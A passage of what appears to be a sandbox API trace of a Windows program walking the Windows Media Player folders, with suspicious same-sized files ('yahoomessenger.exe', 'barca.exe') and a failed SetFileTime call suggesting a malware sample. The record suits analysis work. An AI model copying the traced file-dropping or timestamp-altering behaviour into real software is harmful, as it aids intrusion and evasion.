Flags=0x8, Size=0x80) returned 0x11fb730 [0080.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.248] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0080.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cda660, ftCreationTime.dwHighDateTime=0x1d5664e, ftLastAccessTime.dwLowDateTime=0xf8ee6dc0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0xf8ee6dc0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cda660, ftCreationTime.dwHighDateTime=0x1d5664e, ftLastAccessTime.dwLowDateTime=0xf8ee6dc0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0xf8ee6dc0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 0 [0080.249] GetLastError () returned 0x12 [0080.249] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.249] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf56e180, ftCreationTime.dwHighDateTime=0x1d5a65d, ftLastAccessTime.dwLowDateTime=0x64d5250, ftLastAccessTime.dwHighDateTime=0x1d54011, ftLastWriteTime.dwLowDateTime=0x64d5250, ftLastWriteTime.dwHighDateTime=0x1d54011, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0080.249] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.250] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.251] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.251] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.251] NtClose (Handle=0x178) returned 0x0 [0080.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.251] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.253] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.253] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0080.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f42d0 [0080.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd9b8 [0080.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5d40) returned 0x124a7c8 [0080.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122efb8) returned 1 [0080.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.255] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0080.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f42f0 [0080.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fda40 [0080.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.256] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0080.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4310 [0080.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdac8 [0080.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.257] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0080.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4330 [0080.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdb50 [0080.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.258] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0080.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4350 [0080.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdbd8 [0080.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.259] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0080.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4370 [0080.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdc60 [0080.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0080.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4390 [0080.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.262] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0080.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f43b0 [0080.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0080.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f43d0 [0080.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdce8 [0080.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.264] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0080.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f43f0 [0080.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdd70 [0080.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.265] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0080.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4410 [0080.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fddf8 [0080.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.266] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 1 [0080.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4430 [0080.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.268] RtlFreeHeap (HeapHandle=0x940000, 